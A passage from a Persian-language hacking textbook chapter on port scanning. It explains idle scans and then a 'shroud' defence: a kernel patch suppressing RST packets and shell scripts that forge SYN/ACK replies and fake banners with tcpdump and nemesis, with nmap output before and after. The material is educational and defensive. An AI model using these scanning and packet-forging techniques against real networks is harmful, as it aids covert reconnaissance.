‫ﻓﻘﻂ ﺑﺎ ﯾﮏ ﻓﺎﺻﻠﻪ اﻓﺰاﯾﺶ ﯾﺎﻓﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر‪ ،‬ﻫﯿﭻ ﺑﺴﺘﻪ دﯾﮕﺮی را ﺑﯿﻦ دو ﻋﻤﻠﯿﺎت ﺑﺎزرﺳـﯽ ارﺳـﺎل ﻧﻤـﯽ ﮐﻨـﺪ و‬
‫اﯾﻦ ﯾﻌﻨﯽ‪ .‬ﭘﻮرت روی ﺳﯿﺴﺘﻢ ﻫﺪف ﺑﺴﺘﻪ اﺳﺖ‪ .‬اﮔﺮ ﺷﻨﺎﺳﻪ ‪ IP‬ﺑﺎ دو ﻓﺎﺻﻠﻪ اﻓﺰاﯾﺶ ﯾﺎﻓﺘﻪ ﺑﺎﺷﺪ‪ ،‬اﺣﺘﻤﺎﻻ ﺳﯿـﺴﺘﻢ ﺑﯿﮑـﺎر‬
‫ﯾﮏ ﺑﺴﺘﻪ )اﺣﺘﻤﺎﻻ ﯾﮏ ﺑﺴﺘﻪ ‪ (RST‬را ﺑﯿﻦ دو ﻋﻤﻠﯿﺎت ﺑﺎزرﺳﯽ ارﺳﺎل ﮐـﺮده اﺳـﺖ و اﯾـﻦ ﯾﻌﻨـﯽ‪ ،‬ﭘـﻮرت روی ﺳﯿـﺴﺘﻢ‬
‫ﻫﺪف ﺑﺎز اﺳﺖ‪ .‬در ﺗﺼﻮﯾﺮ زﯾﺮ ﻣﺮاﺣﻞ ﻫﺮ دو ﭘﯿﺸﺎﻣﺪ ﻣﻤﮑﻦ را ﺷﺮح داده اﯾﻢ‪:‬‬

‫‪138‬‬
‫اﻟﺒﺘﻪ‪ ،‬در ﺻﻮرﺗﯽ ﮐﻪ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر‪ ،‬ﻋﻤﻼ ﺑﯿﮑﺎر ﻧﺒﺎﺷﺪ‪ ،‬ﻧﺘﺎﯾﺞ درﯾﺎﻓﺘﯽ ﻧﺎدرﺳﺖ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﮔﺮ ﺗﺮاﻓﯿﮏ ﮐﻤﯽ روی ﻣﯿﺰﺑﺎن‬
‫ﺑﯿﮑﺎر در ﺟﺮﯾﺎن ﺑﺎﺷﺪ‪ ،‬اﻣﮑﺎن ارﺳﺎل ﭼﻨﺪﯾﻦ ﺑﺴﺘﻪ ﺑﻪ ﻫﺮ ﭘﻮرت ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﻣﺜﻼ در ﺻﻮرﺗﯽ ﮐﻪ ‪ 20‬ﺑﺴﺘﻪ ارﺳـﺎل ﺷـﻮﻧﺪ‪،‬‬
‫آﻧﮕﺎه ﺑﺎﯾﺴﺘﯽ ﺷﺎﻫﺪ ﯾﮏ اﻓﺰاﯾﺸﯽ ‪ 20‬ﻣﺮﺣﻠﻪ ای ﺑﺮای ﯾﮏ ﭘﻮرت ﺑﺎز ﺑﺎﺷﯿﻢ و ﺑﺮای ﯾﮏ ﭘﻮرت ﺑﺴﺘﻪ ﻫـﯿﭻ اﻓﺰاﯾـﺸﯽ در‬
‫ﮐﺎر ﻧﺨﻮاﻫﺪ ﺑﻮد‪ .‬ﺣﺘﯽ در ﺻﻮرﺗﯽ ﮐﻪ ﺗﺮاﻓﯿﮏ ﮐﻤﯽ روی ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻣﺜﻼ ﯾـﮏ ﯾـﺎ دو ﺑـﺴﺘﻪ ﮐـﻪ ﺑـﻪ‬
‫ﻋﻤﻠﯿﺎت ﭘﻮﯾﺶ ارﺗﺒﺎﻃﯽ ﻧﺪارﻧﺪ‪ ،‬آﻧﮕﺎه اﯾﻦ ﺗﻔﺎوت ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺑﺰرگ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ردﯾﺎﺑﯽ ﻣﻤﮑﻦ ﺑﺎﺷﺪ‪.‬‬
‫اﮔﺮ اﯾﻦ ﺗﮑﻨﯿﮏ ﺑﻄﻮر ﺻﺤﯿﺢ روی ﯾﮏ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ﻓﺎﻗﺪ اﻣﮑﺎﻧﺎت ﻻگ ﺑﺮداری اﻋﻤﺎل ﺷﻮد‪ ،‬ﻧﻔـﻮذﮔﺮ ﻣـﯽ ﺗﻮاﻧـﺪ ﺑـﺪون‬
‫ﻓﺎش ﺷﺪن آدرس ‪ IP‬ﺧﻮد‪ ،‬ﻫﺮ ﻫﺪﻓﯽ را ﭘﻮﯾﺶ ﮐﻨﺪ‪.‬‬

‫‪ .3,6,5‬دﻓﺎع ﻓﺮا ﻋﻤﻠﯿﺎﺗﯽ )‪ (Proactive‬ﯾﺎ ﭘﻮﺷﺸﯽ )‪(shroud‬‬

‫ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت اﻏﻠﺐ ﻗﺒﻞ از ﺣﻤﻠﻪ و ﺟﻬﺖ ﻧﻘﺸﻪ ﺑﺮداری از ﺳﯿﺴﺘﻢ ﻫﺎ اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدﻧﺪ‪ .‬داﻧﺴﺘﻦ ﺑﺎز ﺑـﻮدن ﭘـﻮرت‬
‫ﻫﺎ‪ ،‬ﺑﻪ ﻧﻔﻮذﮔﺮ اﺟﺎزه ﺗﻌﯿﯿﻦ ﮐﺮدن ﺣﻤﻠﻪ ﺑﻪ ﺳﺮوﯾﺲ ﻫﺎی ﻣﺸﺨﺺ را ﺧﻮاﻫﺪ داد‪ .‬ﺑﺴﯿﺎری از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ‬

‫‪139‬‬
‫ﻃﺮﻗﯽ را ﺑﺮای ردﯾﺎﺑﯽ ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت اراﺋﻪ ﻣﯽ دﻫﻨﺪ‪ ،‬اﻣﺎ اﯾﻦ ﮐﺎر زﻣﺎﻧﯽ اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ ﮐﻪ اﻃﻼﻋﺎﺗﯽ راﺟـﻊ ﺑـﻪ آن‬
‫ﺗﮑﻨﯿﮏ ﭘﻮﯾﺶ ﭘﻮرت در دﺳﺖ ﺑﺎﺷﺪ‪ .‬در زﻣﺎن ﻧﻮﺷﺘﻦ اﯾﻦ ﻓﺼﻞ‪ ،‬در ﻓﮑﺮ اﯾﻦ ﻣﻄﻠﺐ ﺑﻮدم ﮐﻪ آﯾـﺎ ﻣﻤﮑـﻦ اﺳـﺖ ﻗﺒـﻞ از‬
‫رﺧﺪاد ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت‪ ،‬ﺑﺘﻮان ﺟﻠﻮی آﻧﻬﺎ را ﮔﺮﻓﺖ‪ .‬ﻋﻠﻢ ﻫﮏ و اﻣﻨﯿﺖ ﺑﺎ اﯾﺪه ﻫﺎی ﺟﺪﯾﺪ رﺷﺪ ﻣـﯽ ﮐﻨـﺪ‪ ،‬ﻟـﺬا روﺷـﯽ‬
‫ﺳﺎده را ﺟﻬﺖ دﻓﺎع در ﻣﻘﺎﺑﻞ ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﯿﻢ‪.‬‬
‫اﺑﺘﺪا ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﺿﺮوری اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻐﯿﯿﺮی ﺳﺎده در ﻫﺴﺘﻪ ﻣﺎﻧﻊ ﭘﻮﯾﺶ ﻫـﺎی ‪ Null ،FIN‬و ‪ X-mas‬ﺷـﺪ‪.‬‬
‫در ﺻﻮرﺗﯽ ﮐﻪ ﻫﺴﺘﻪ‪ ،‬ﺑﺴﺘﻪ ﻫﺎی ‪ reset‬را ﺗﺤﺖ ﻫﯿﭻ ﺷﺮاﯾﻄﯽ ارﺳﺎل ﻧﮑﻨﺪ‪ ،‬اﯾﻦ ﭘﻮﯾﺶ ﻫﺎ ﻫﯿﭻ ﻧﺘﯿﺠﻪ ای در ﺑﺮ ﻧﺨﻮاﻫﻨـﺪ‬
‫داﺷﺖ‪ .‬در ﻣﺜﺎل زﯾﺮ‪ ،‬ﻣﺎ از ‪ grep‬ﺟﻬﺖ ﯾﺎﻓﺘﻦ ﮐﺪ ﻣﺴﺌﻮل ﻫﺴﺘﻪ ﺟﻬﺖ ارﺳﺎل ﺑﺴﺘﻪ ﻫﺎی ‪ reset‬اﺳﺘﻔﺎده ﮐﺮده اﯾﻢ‪:‬‬

‫‪# grep -n -A 12 "void.*send_reset" /usr/src/linux/net/ipv4/tcp_ipv4.c‬‬


‫)‪1161:static void tcp_v4_send_reset(struct sk_buff *skb‬‬
‫{‪1162-‬‬
‫‪1163-‬‬ ‫;‪struct tcphdr *th = skb->h.th‬‬
‫‪1164-‬‬ ‫;‪struct tcphdr rth‬‬
‫‪1165-‬‬ ‫;‪struct ip_reply_arg arg‬‬
‫‪1166-‬‬
‫‪1167-‬‬ ‫‪return; // Modification: Never send RST, always return.‬‬
‫‪1168-‬‬
‫‪1169-‬‬ ‫‪/* Never send a reset in response to a reset. */‬‬
‫‪1170-‬‬ ‫)‪if (th->rst‬‬
‫‪1171-‬‬ ‫;‪return‬‬
‫‪1172-‬‬
‫‪1173-‬‬ ‫)‪if (((struct rtable*)skb->dst)->rt_type != RTN_LOCAL‬‬

‫ﺑﺎ اﺿﺎﻓﻪ ﮐﺮدن دﺳﺘﻮر ‪) return‬ﺑﺦ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘـﻪ اﺳـﺖ(‪ ،‬ﺑﺠـﺎی اﻧﺠـﺎم ﮐﺎرﻫـﺎی دﯾﮕـﺮ‪ ،‬ﺗـﺎﺑﻊ ﻫـﺴﺘﻪ ای‬
‫)(‪ tcp_v4_send_reset‬اﺟﺮا ﻣﯽ ﺷﻮد‪ .‬ﭘﺲ از ﮐﺎﻣﭙﺎﯾﻞ ﻣﺠﺪد‪ ،‬ﻫﺴﺘﻪ ای را در اﺧﺘﯿﺎر ﺧﻮاﻫﯿﻢ داﺷـﺖ ﮐـﻪ ﺑـﺴﺘﻪ ﻫـﺎی‬
‫‪ reset‬را ارﺳﺎل ﻧﻤﯽ ﮐﻨﺪ و ﺑﻪ اﯾﻦ ﻃﺮﯾﻖ ﻣﺎﻧﻊ از ﻓﺎش ﺷﺪن اﻃﻼﻋﺎت ﻣﯽ ﺷﻮد‪.‬‬
‫‪FIN scan before the kernel modification:‬‬

‫‪# nmap -vvv -sF 192.168.0.189‬‬

‫) ‪Starting nmap V. 3.00 ( www.insecure.org/nmap/‬‬


‫‪Host (192.168.0.189) appears to be up ... good.‬‬
‫)‪Initiating FIN Scan against (192.168.0.189‬‬
‫‪The FIN Scan took 17 seconds to scan 1601 ports.‬‬
‫‪Adding open port 22/tcp‬‬
‫‪Interesting ports on (192.168.0.189):‬‬
‫)‪(The 1600 ports scanned but not shown below are in state: closed‬‬
‫‪Port‬‬ ‫‪State‬‬ ‫‪Service‬‬
‫‪22/tcp‬‬ ‫‪open‬‬ ‫‪ssh‬‬

‫‪Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds‬‬


‫‪#‬‬

‫‪FIN scan after the kernel modification:‬‬

‫‪# nmap -sF 192.168.0.189‬‬

‫) ‪Starting nmap V. 3.00 ( www.insecure.org/nmap/‬‬


‫‪All 1601 scanned ports on (192.168.0.189) are: filtered‬‬

‫‪Nmap run completed -- 1 IP address (1 host up) scanned in 100 seconds‬‬


‫‪#‬‬
‫اﯾﻦ ﺗﻐﯿﯿﺮ ﺑﺮای ﭘﻮﯾﺶ ﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﺑﺴﺘﻪ ﻫﺎی ‪ RST‬ﮐﺎر ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣـﺎ ﺟﻠـﻮﮔﯿﺮی از ﻧـﺸﺖ اﻃﻼﻋـﺎت در ﭘـﻮﯾﺶ ﻫـﺎی‬
‫‪ SYN‬و ارﺗﺒﺎط‪-‬ﮐﺎﻣﻞ اﻧﺪﮐﯽ دﺷﻮارﺗﺮ اﺳﺖ‪ .‬ﺑﺮای ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻋﺎﻣﻠﯿﺖ‪ ،‬ﭘﻮرت ﻫـﺎی ﺑـﺎز ﺑﺎﯾـﺴﺘﯽ ﺑـﺎ ﺑـﺴﺘﻪ ﻫـﺎی‬
‫‪ SYN/ACK‬ﭘﺎﺳﺨﮕﻮ ﺑﺎﺷﻨﺪ‪ .‬اﻣﺎ در ﺻﻮرﺗﯽ ﮐﻪ ﺗﻤﺎم ﭘﻮرت ﻫﺎی ﺑﺴﺘﻪ ﻧﯿﺰ ﺑﺎ اﯾﻦ ﺑـﺴﺘﻪ ﻫـﺎ ﭘﺎﺳـﺨﮕﻮ ﺑﺎﺷـﻨﺪ‪ ،‬اﻃﻼﻋـﺎت‬
‫‪140‬‬
‫ﻣﻔﯿﺪی ﮐﻪ ﻧﻔﻮذﮔﺮ ﻣﯽ ﺗﻮاﻧﺪ از اﯾﻦ ﮔﻮﻧﻪ ﭘﻮﯾﺶ ﻫﺎ ﺑﺪﺳﺖ آورد ﺑﻪ ﺣـﺪاﻗﻞ ﻣـﯽ رﺳـﺪ‪ .‬ﺑـﺎز ﮐـﺮدن ﻫـﺮ ﭘـﻮرت ﮐـﺎرآﯾﯽ‬
‫ﺑﺰرﮔﯽ را ﺳﺒﺐ ﻣﯽ ﺷﻮد‪ ،‬اﻣﺎ ﻣﻄﻠﻮب ﮐﺎر ﻣﺎ ﻧﺨﻮاﻫﺪ ﺑﻮد‪ .‬اﺣﺘﻤﺎﻻ اﻣﮑﺎن اﻧﺠـﺎم اﯾـﻦ ﮐـﺎر ﺑـﺪون اﺳـﺘﻔﺎده از ﭘـﺸﺘﻪ ‪TCP‬‬
‫اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ و ﻇﺎﻫﺮا از ﻋﻬﺪه ﯾﮏ اﺳﮑﺮﯾﭙﺖ ‪ Nemesis‬ﺑﺮ ﻣﯽ آﯾﺪ‪:‬‬
‫‪File: shroud.sh‬‬

‫‪#!/bin/sh‬‬
‫"‪HOST="192.168.0.189‬‬
‫)‪/usr/sbin/tcpdump -e -S -n -p -l "(tcp[13] == 2) and (dst host $HOST‬‬
‫‪and !(dst‬‬
‫{' ‪port 22)" | /bin/awk‬‬
‫‪# Output numbers as unsigned‬‬
‫;"‪CONVFMT="%u‬‬
‫‪# Seed the randomizer‬‬
‫;)(‪srand‬‬

‫‪# Parse the tcpdump input for packet information‬‬


‫;‪dst_mac = $2‬‬
‫;‪src_mac = $3‬‬
‫;)"‪split($6, dst, ".‬‬
‫;)"‪split($8, src, ".‬‬
‫;]‪src_ip = src[1]"."src[2]"."src[3]"."src[4‬‬
‫;]‪dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4‬‬
‫;)‪src_port = substr(src[5], 1, length(src[5])-1‬‬
‫;]‪dst_port = dst[5‬‬

‫‪# Increment the received seq number for the new ack number‬‬
‫;‪ack_num = substr($10,1,index($10,":")-1)+1‬‬
‫‪# Generate a random seq number‬‬
‫;‪seq_num = rand() * 4294967296‬‬

‫‪# Feed all this information to nemesis‬‬


‫‪exec_string = "nemesis tcp -v -fS -fA -S "src_ip" -x "src_port" -H‬‬
‫‪"src_mac" -D‬‬
‫;‪"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num" -a "ack_num‬‬

‫‪# Display some helpful debugging info.. input vs. output‬‬


‫;‪print "[in] "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10‬‬
‫;‪print "[out] "exec_string‬‬

‫‪# Inject the packet with nemesis‬‬


‫;)‪system(exec_string‬‬
‫'}‬
‫ﺑﺮای اﺟﺮای اﯾﻦ اﺳﮑﺮﯾﭙﺖ‪ ،‬ﺑﺎﯾﺪ ﺣﺼﻮل اﻃﻤﯿﻨـﺎن از ﺗﻨﻈـﯿﻢ ﻣﺘﻐﯿـﺮ ‪ HOST‬ﺑـﻪ آدرس‪ IP‬ﻓﻌﻠـﯽ ﺧﻮدﺗـﺎن اﻧﺠـﺎم ﺷـﻮد‪.‬‬
‫ﻣﺠﺪدا ﺳﯿﺰدﻫﻤﯿﻦ ﻫﺸﺘﺎﯾﯽ ﺑﺮای ﯾﮏ ﻓﯿﻠﺘﺮ‪ tcpdump‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬اﯾﻨﺒﺎر‪ ،‬اﯾﻦ ﻓﯿﻠﺘﺮ ﺗﻨﻬﺎ ﺑﺴﺘﻪ ﻫـﺎﯾﯽ را ﻗﺒـﻮل ﻣـﯽ‬
‫ﮐﻨﺪ ﮐﻪ ﻣﻘﺼﺪﺷﺎن ﺑﺮای آدرس ‪ IP‬ﻣﯿﺰﺑﺎن ﻣﻌﻠﻮم ﺑﺎﺷﺪ‪ ،‬روی ﭘﻮرﺗﯽ ﺑﻪ ﻏﯿﺮ از ‪ 22‬ﺑﺎﺷﺪ و ﺗﻨﻬﺎ ﻓﻠـﮓ ‪ SYN‬آن روﺷـﻦ‬
‫ﺑﺎﺷﺪ‪ .‬اﯾﻦ ﮐﺎر ﺗﻼش ﺑﺮای ﭘﻮﯾﺶ ﻫﺎی ‪ full-connect ،SYN‬و ﻫﺮ ﻧﻮع دﯾﮕﺮ از ﺗﻼش ﻫﺎی ارﺗﺒﺎﻃﯽ را ﺧﻨﺜﯽ ﻣﯽ ﮐﻨـﺪ‪.‬‬
‫ﺳﭙﺲ اﻃﻼﻋﺎت ﺑﺴﺘﻪ ای ﺑﻮاﺳﻄﻪ ‪ awk‬ﺗﻔﺴﯿﺮ ﺷﺪه و ﺑﻪ ‪ nemesis‬داده ﻣـﯽ ﺷـﻮد ﺗـﺎ ﯾـﮏ ﺑـﺴﺘﻪ ﭘﺎﺳـﺦ ‪SYN/ACK‬‬
‫ﻇﺎﻫﺮا واﻗﻌﯽ را ﺷﻨﺎور ﺳﺎزد‪ .‬از ﭘﻮرت ‪ 22‬ﺑﺎﯾﺪ اﺟﺘﻨﺎب ﺷﻮد‪ ،‬ﭼﺮا ﮐﻪ از ﻗﺒﻞ ‪ SSH‬روی آن ﭘﺎﺳـﺨﮕﻮ اﺳـﺖ‪ .‬ﺗﻤـﺎم اﯾـﻦ‬
‫ﻋﻤﻠﯿﺎت ﺑﺪون اﺳﺘﻔﺎده از ﭘﺸﺘﻪ ‪ TCP‬اﻧﺠﺎم ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
‫ﺑﺎ اﺟﺮای اﺳﮑﺮﯾﭙﺖ ‪ ،shroud‬ﯾﮏ اﻋﻼن ارﺗﺒﺎط ﺗﻠﻨﺖ ﺟﻬﺖ اﺗﺼﺎل ﻇﺎﻫﺮ ﻣﯽ ﺷﻮد‪ ،‬اﮔﺮﭼﻪ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن در ﺣﺎل ﺷـﻨﻮد‬
‫ﻧﯿﺴﺖ‪ .‬اﯾﻦ ﻣﻄﻠﺐ در زﯾﺮ ﻧﻤﺎﯾﺶ داده ﻣﯽ ﺷﻮد‪:‬‬
‫‪From overdose @ 192.168.0.193:‬‬

‫‪overdose$ telnet 192.168.0.189 12345‬‬


‫‪Trying 192.168.0.189...‬‬
‫‪Connected to 192.168.0.189.‬‬
‫‪Escape character is '^]'.‬‬
‫‪141‬‬
^]
telnet> q
Connection closed.
overdose$

The shroud.sh script running on 192.168.0.189:

# ./shroud.sh
tcpdump: listening on eth1
[in] 14:07:09.793997 0:0:ad:d1:c7:ed 0:2:2d:4:93:e4 0800 74:
192.168.0.193.32837 >
192.168.0.189.12345: S 2071082535:2071082535(0)
[out] nemesis tcp -v -fS -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D
192.168.0.193 -y 32837 -M 0:0:ad:d1:c7:ed -s 979061690 -a 2071082536

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:02:2D:04:93:E4 > 00:00:AD:D1:C7:ED


[Ethernet type] IP (0x0800)

[IP] 192.168.0.189 > 192.168.0.193


[IP ID] 2678
[IP Proto] TCP (6)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]

[TCP Ports] 12345 > 32837


[TCP Flags] SYN ACK
[TCP Urgent Pointer] 0
[TCP Window Size] 4096
[TCP Ack number] 2071082536
[TCP Seq number] 979061690

Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected


‫ اﺳﺘﻔﺎده از ﻫﺮ روش ﭘﻮﯾﺶ ﭘـﻮرت ﻣـﺮﺗﺒﻂ ﺑـﺎ ﺑـﺴﺘﻪ ﻫـﺎی‬،‫اﮐﻨﻮن ﮐﻪ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ اﺳﮑﺮﯾﭙﺖ ﺑﻪ درﺳﺘﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ‬
.‫ ﺑﻪ اﯾﻦ ﻧﺘﯿﺠﻪ ﻣﯽ اﻧﺠﺎﻣﺪ ﮐﻪ ﺗﻤﺎم ﭘﻮرت ﻫﺎی ﻣﻤﮑﻦ روی ﺳﯿﺴﺘﻢ ﻫﺪف ﺑﺎز ﻫﺴﺘﻨﺪ‬،SYN
overdose# nmap -sS 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )


Interesting ports on (192.168.0.189):
Port State Service
1/tcp open tcpmux
2/tcp open compressnet
3/tcp open compressnet
4/tcp open unknown
5/tcp open rje
6/tcp open unknown
7/tcp open echo
8/tcp open unknown
9/tcp open discard
10/tcp open unknown
11/tcp open systat
12/tcp open unknown
13/tcp open daytime
14/tcp open unknown
15/tcp open netstat
16/tcp open unknown
17/tcp open qotd
18/tcp open msp
19/tcp open chargen
20/tcp open ftp-data

142
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp

[ output trimmed ]

32780/tcp open sometimes-rpc23


32786/tcp open sometimes-rpc25
32787/tcp open sometimes-rpc27
43188/tcp open reachout
44442/tcp open coldfusion-auth
44443/tcp open coldfusion-auth
47557/tcp open dbbrowse
49400/tcp open compaqdiag
54320/tcp open bo2k
61439/tcp open netprowler-manager
61440/tcp open netprowler-manager2
61441/tcp open netprowler-sensor
65301/tcp open pcanywhere

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds


overdose#
‫ ﺗﻨﻬﺎ ﺳﺮوﯾﺴﯽ اﺳﺖ ﮐﻪ ﺣﻘﯿﻘﺘﺎ در ﺣﺎل اﺟﺮا اﺳﺖ وﻟﯽ ﻫﻤﺎن ﻃﻮر ﮐـﻪ در ﺧﺮوﺟـﯽ‬،‫ ﻗﺮار دارد‬22 ‫ ﮐﻪ روی ﭘﻮرت‬SSH
‫ ﻧﻔﻮذﮔﺮ ﺷـﺎﯾﺪ ﺑـﻪ ﻫﻤـﻪ ﭘـﻮرت ﻫـﺎ‬.‫ ﻫﺎ ﭘﻨﻬﺎن اﺳﺖ‬false positive ‫ﺑﺎﻻ ﻣﯽ ﺑﯿﻨﯿﺪ اﯾﻦ ﭘﻮرت ﺑﺎز در ﻣﯿﺎن ﻓﻮج ﻋﻈﯿﻤﯽ از‬
‫ اﻣﺎ اﯾﻦ ﺗﮑﻨﯿﮏ را ﻧﯿﺰ ﻣﯽ ﺗﻮان ﺑﺎ ﺟﻌﻞ ﺑﻨﺮﻫﺎ ﺗﻮﺳﻌﻪ داد ﮐﻪ در زﯾﺮ اﯾﻦ ﮐﺎر را اﻧﺠﺎم‬،‫ﺗﻠﻨﺖ ﮐﺮده و ﺑﻨﺮﻫﺎ را ﺑﺮرﺳﯽ ﮐﻨﺪ‬
.‫ﻣﯽ دﻫﯿﻢ‬
‫ اﯾﻦ ﺑﺴﺘﻪ ﻫﻤﯿﺸﻪ ﺷﻤﺎره ﺗﻮاﻟﯽ را دﻗﯿﻘﺎ‬.‫ ﺟﻌﻠﯽ ﭘﺎﺳﺦ ﻣﯽ دﻫﺪ‬SYN/ACK ‫ ﺑﻪ‬ACK ‫ﻣﺎﺷﯿﻦ ﮐﻼﯾﻨﺖ ﺑﺎ ﯾﮏ ﺑﺴﺘﻪ واﺣﺪ‬
‫ ﻟﺬا ﺑﺴﺘﻪ ﻣﻨﺎﺳﺐ را ﺑﺮای ﭘﺎﺳﺦ ﮐﻪ ﺣﺎوی ﺑﻨﺮ ﻣﯽ ﺑﺎﺷﺪ ﻣﯽ ﺗﻮان ﭘﯿـﺸﮕﻮﯾﯽ و اﯾﺠـﺎد ﮐـﺮد و‬،‫ﯾﮏ واﺣﺪ اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ‬
،‫ ﺑـﺴﺘﻪ ﭘﺎﺳـﺦ ﺑﻨـﺮ‬.‫ آﻧﺮا ﺑﻪ ﻣﺎﺷـﯿﻦ ﮐﻼﯾﻨـﺖ ﻓﺮﺳـﺘﺎد‬،‫ ﮐﻨﺪ‬ACK ‫ﻗﺒﻞ از اﯾﻨﮑﻪ ﻣﺎﺷﯿﻦ ﮐﻼﯾﻨﺖ ﺣﺘﯽ اﻗﺪام ﺑﻪ ﺗﻮﻟﯿﺪ ﭘﺎﺳﺦ‬
‫ ﻣﯽ ﺗﻮان ﻫﺮ دو ﺑﺴﺘﻪ را ﺑﺪون ﺗﻮﺟﻪ ﺑﻪ‬.‫ اﺳﺖ ﺗﺎ ﺑﺴﺘﻪ ﻫﺎی ﺑﻨﺮ ﻣﻌﻤﻮﻟﯽ را ﻣﻄﺎﺑﻘﺖ دﻫﺪ‬PSH ‫ و‬ACK ‫دارای ﻓﻠﮓ ﻫﺎی‬
‫ ﺑﻪ اﯾﻦ ﻣﻌﻨﯽ ﮐﻪ ﻻزم ﻧﯿﺴﺖ ﮐﻪ اﺳـﮑﺮﯾﭙﺖ ﻣﺠﺒـﻮر ﺑـﻪ ﭘﯿﮕﯿـﺮی اﻃﻼﻋـﺎت‬.‫ اﯾﺠﺎد و ارﺳﺎل ﮐﺮد‬،‫ از ﮐﻼﯾﻨﺖ‬ACK ‫ﭘﺎﺳﺦ‬
‫ اﺳﮑﺮﯾﭙﺖ ﺗﻐﯿﯿﺮ ﯾﺎﻓﺘﻪ‬.‫ ﺑﺴﺘﻪ ﻫﺎ را دﺳﺘﻪ ﺑﻨﺪی ﻣﯽ ﮐﻨﺪ‬،‫ ﺳﯿﺴﺘﻢ ﮐﻼﯾﻨﺖ‬TCP ‫وﺿﻌﯿﺘﯽ ارﺗﺒﺎط ﻫﺎ ﺑﺎﺷﺪ و در ﻋﻮض ﭘﺸﺘﻪ‬
:‫ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‬shroud
File: shroud2.sh

#!/bin/sh
HOST="192.168.0.189"
/usr/sbin/tcpdump -e -S -n -p -l "(tcp[13] == 2) and (dst host $HOST)" |
/bin/awk
'{
# Output numbers as unsigned
CONVFMT="%u";

# Seed the randomizer


srand();

# Parse the tcpdump input for packet information


dst_mac = $2;
src_mac = $3;
split($6, dst, "."); split($8, src, ".");
src_ip = src[1]"."src[2]"."src[3]"."src[4];
dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
src_port = substr(src[5], 1, length(src[5])-1);
dst_port = dst[5];

# Increment the received seq number for the new ack number
143
ack_num = substr($10,1,index($10,":")-1)+1;
# Generate a random seq number
seq_num = rand() * 4294967296;

# Precalculate the sequence number for the next packet


seq_num2 = seq_num + 1;

# Feed all this information to nemesis


exec_string = "nemesis tcp -fS -fA -S "src_ip" -x "src_port" -H "src_mac"
-D
"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num" -a "ack_num;

# Display some helpful debugging info.. input vs. output


print "[in] "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10;
print "[out] "exec_string;

# Inject the packet with nemesis


system(exec_string);

# Do it again to craft the second packet, this time ACK/PSH with a banner
exec_string = "nemesis tcp -v -fP -fA -S "src_ip" -x "src_port" -H
"src_mac" -D
"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num2" -a "ack_num" -P banner";

# Display some helpful debugging info..


print "[out2] "exec_string;

# Inject the second packet with nemesis


system(exec_string);
}'
‫ ﻣﯽ ﺗﻮان اﯾﻦ ﻃﻮر ﭼﯿﺰﻫﺎ را ﻃﻮری ﺗﻨﻈﯿﻢ‬.‫ درﯾﺎﻓﺖ ﻣﯽ ﮔﺮدد‬banner ‫ﻣﺮﺑﻮط ﺑﻪ ﺑﺴﺘﻪ ﺑﻨﺮ از ﯾﮏ ﻓﺎﯾﻞ ﺑﻪ ﻧﺎم‬ 81
‫ﺑﺎرﮐﻨﺶ‬
‫ ﻣﻌﻤﻮﻟﯽ ﻧﮕﺎه ﮐـﺮده و ﯾـﮏ ﺑﻨـﺮ‬SSH ‫ ﺧﺮوﺟﯽ زﯾﺮ ﺑﻪ ﯾﮏ ﺑﻨﺮ‬.‫ ﺑﻪ ﻧﻈﺮ آﯾﺪ‬SSH ‫ﮐﺮد ﮐﻪ وﺿﻌﯿﺖ ﻣﺎﻧﻨﺪ ﯾﮏ ﺑﻨﺮ ﻣﻌﺘﺒﺮ‬
